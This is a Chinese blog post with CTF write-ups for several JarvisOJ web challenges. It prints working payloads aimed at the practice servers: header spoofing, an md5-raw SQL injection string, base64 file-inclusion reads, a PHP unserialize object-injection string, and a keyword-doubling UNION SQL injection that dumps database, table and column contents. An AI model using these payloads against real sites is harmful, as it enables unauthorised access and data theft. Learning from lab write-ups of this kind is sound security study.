avatar

JARVISOJ WEB题目学习

PORT51

题目链接:http://web.jarvisoj.com:32774/

参考题解:https://blog.csdn.net/weixin_44077544/article/details/89407287

打开之后显示image-20200616170910514

curl命令:

curl http://xxxxxx

返回该网页的html

–local-port 强制使用本地端口号

输入

curl --local-port 51 http://web.jarvisoj.com:32770/

返回

image-20200616172140435

LOCALHOST

题目链接:http://web.jarvisoj.com:32774/

参考题解:https://www.cnblogs.com/IMBlackMs/p/11272848.html

image-20200616172347717

题目分析

只允许本机登录

考虑添加header:

X-Forward-For          127.0.0.1

来构造一个“原始客户端为localhost”的报文,达到access的目的

设置代理、抓包

image-20200616173838544

打开burpsuite,勾选127.0.0.1:8080

image-20200616173916784

调整至intercept is on,进行抓包

image-20200616174010129

添加header,点击forward发送

image-20200616174246689

得到flag

image-20200616174309897

LOGIN

  • burpsuite
  • md5

打开proxy-options-intercept server responses

image-20200616175942620

看到hint

Hint: "select * from `admin` where password='".md5($pass,true)."'"
image-20200616175832244
<?php 
for ($i = 0;;) {
for ($c = 0; $c < 1000000; $c++, $i++)
if (stripos(md5($i, true), '\'or\'') !== false)
echo "\nmd5($i) = " . md5($i, true) . "\n";
echo ".";
}
?>

(这个代码我没有跑出来,TLE了)

ffifdyop

image-20200616204517605

神盾局的秘密

  • 文件包含漏洞
  • 序列化

题目链接:http://web.jarvisoj.com:32768/

参考题解:https://blog.csdn.net/qq1045553189/article/details/87562204?utm_medium=distribute.pc_relevant.none-task-blog-baidujs-1

打开后是一张图片

image-20200617115013351

查看网页源代码,发现showing.php,和一张base64编码的img,解密后是shield.jpg

image-20200617115034966

点进去,发现是图片编码

image-20200617115053325

判断是文件包含漏洞

尝试读取showimg.php

view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA=
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>

stripos查找字符串首次出现的位置(不区分大小写)

代码中过滤掉了.. / \\(切换目录的字符) 和pctf

尝试获取index.php(aW5kZXgucGhw)

image-20200617140304865

view-source:http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw
<?php 
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);\\反序列化
}
echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

使用GET传参,参数名‘class’

读shield.php

http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}

function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>

showimg.php对pctf进行了过滤,但是readfile()没有

编写php脚本,得到序列化后的shield实例

<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}

function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
$x=new Shield ("pctf.php");
echo serialize($x);
?>

得到序列化结果image-20200617140000130

O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

访问

http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}

image-20200617140456082

IN A MESS

题目链接:http://web.jarvisoj.com:32780/

题解链接:https://blog.csdn.net/wyj_1216/article/details/82954242

image-20200618153328981

查看源码image-20200618153358706

查看index.phps

image-20200618153449177

转载自:https://www.jianshu.com/p/cb124701a5d8

1.stripos(字符串a,字符串b)函数查找字符串b在字符串a中第一次出现的位置(不区分大小写)
2.file_get_contents 将整个文件读入一个字符串
3.eregi("111".substr($b,0,1),"1114") 判断”1114”这个字符串里面是否有符合”111”.substr($b,0,1)这个规则的

注,php5.3以后不支持eregi

参数 要求
id id==0 前面有非零的判断,所以用0e或‘0’绕过
b strlen($b)>5 and eregi(“111”.substr($b,0,1),”1114”) and substr($b,0,1)!=4 这里要求:b的长度大于5,且是基于eregi函数的弱类型,用%00的绕过( strlen函数对%00不截断但substr截断)那么可以令b=%00411111
a 由data进行赋值:$data = @file_get_contents($a,'r') 而又有$data=="1112 is a nice lab!" 可以利用远程文件包含在allow_url_include开启时可以使用,但发现对$a有了.过滤所以还是data协议比较稳妥

data类型的URL格式:https://blog.csdn.net/lxgwm2008/article/details/38437875

对于一些小数据,可以在网页中直接嵌入,而不是从外部文件载入,减少服务器负载

例如直接在浏览器输入data:text/html,

Hello, world!

image-20200618155848440

或者运行

(Url是一种基于文本的协议,所以gif/png/jpeg这种二进制属于需要用base64进行编码。换句话说,引入base64以后,就可以支持任意形式的数据格式。)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<style type="text/css">
.title {
background-image:url(data:image/gif;base64,R0lGODlhAQAcALMAAMXh96HR97XZ98Hf98Xg97DX97nb98Lf97vc98Tg973d96rU97ba97%2Fe96XS9wAAACH5BAAAAAAALAAAAAABABwAAAQVMLhVBDNItXESAURyDI2CGIxQLE4EADs%3D);
background-repeat:repeat-x;
height:28px;
line-height: 28px;
text-align:center;
}
</style>
</head>

<body>
<div class="title">Hello, world!</div>
</body>
</html>

可以看到image-20200618160036095

data类型的Url大致有以下几种形式

data:,<文本数据>
data:text/plain,<文本数据>
data:text/html,<HTML代码>
data:text/html;base64,<base64编码的HTML代码>
data:text/css,<CSS代码>
data:text/css;base64,<base64编码的CSS代码>
data:text/javascript,<Javascript代码>
data:text/javascript;base64,<base64编码的Javascript代码>
data:image/gif;base64,base64编码的gif图片数据
data:image/png;base64,base64编码的png图片数据
data:image/jpeg;base64,base64编码的jpeg图片数据
data:image/x-icon;base64,base64编码的icon图片数据

输入?id=0e&a=data:,1112 is a nice lab!&b=%00411111,返回

image-20200618170326089

{/^HT2mCpcvOLf} 不像flag,像一个目录,于是,尝试在地址栏输入:http://web.jarvisoj.com:32780/^HT2mCpcvOLf

返回image-20200618170422676

发现跳转后自动补id=1,考虑sql注入

尝试id=1 or 1=1

image-20200618170552202

怀疑空格有问题,用/\/代替

还是不行,可能过滤了**,改为/*1*/,显示正常image-20200618170904600

and 1=1也没问题,and 1=2报错

image-20200618170958621

输入id=1/*1*/order/*1*/by/*1*/3显示正常,但是4报错,说明有三个字段

下面开始爆数据库:

id=-1/*12*/uniunionon/*12*/seselectlect/*12*/1,2,(database())%23

得到数据库名test

image-20200618193932873

接下来开始爆表名:

id=-1/*12*/uniunionon/*12*/seselectlect/*12*/1,2,(seselectlect/*12*/group_concat(table_name)/*12*/frfromom/*12*/information_schema.tables/*12*/where/*12*/table_schema=database())%23

得到表名:content

image-20200618193952200

接下来爆列名:

id=-1/*12*/uniunionon/*12*/seselectlect/*12*/1,2,(selselectect/*12*/group_concat(column_name)/*12*/frofromm/*12*/information_schema.columns/*12*/where/*12*/table_name=0x636f6e74656e74)%23

得到列名:context

image-20200618194018181

读取内容:

id=-1/*12*/uniunionon/*12*/seselectlect/*12*/1,2,(selselectect/*12*/context/*12*/frofromm/*1*/content)%23

image-20200618194057752

RE?

image-20200620145708388

连接:https://dn.jarvisoj.com/challengefiles/udf.so.02f8981200697e5eeb661e64797fc172

参考题解:https://www.jianshu.com/p/e4d61c50cb67?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

udf.so是linux上的mysql函数

先在阿里云上拉一个docker

docker pull mysql
docker run -p 3306:3306 --name ctf-mysql -v D:\security\docker:/tmp  -e LANG=C.UTF-8 -e MYSQL_ROOT_PASSWORD=123456 -d  mysql

根据题解运行没有成功,先放下回来再说。

Author: Michelle19l
Link: https://gitee.com/michelle19l/michelle19l/2020/06/16/jarvisoj/jarvisoj_web/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付寶
    支付寶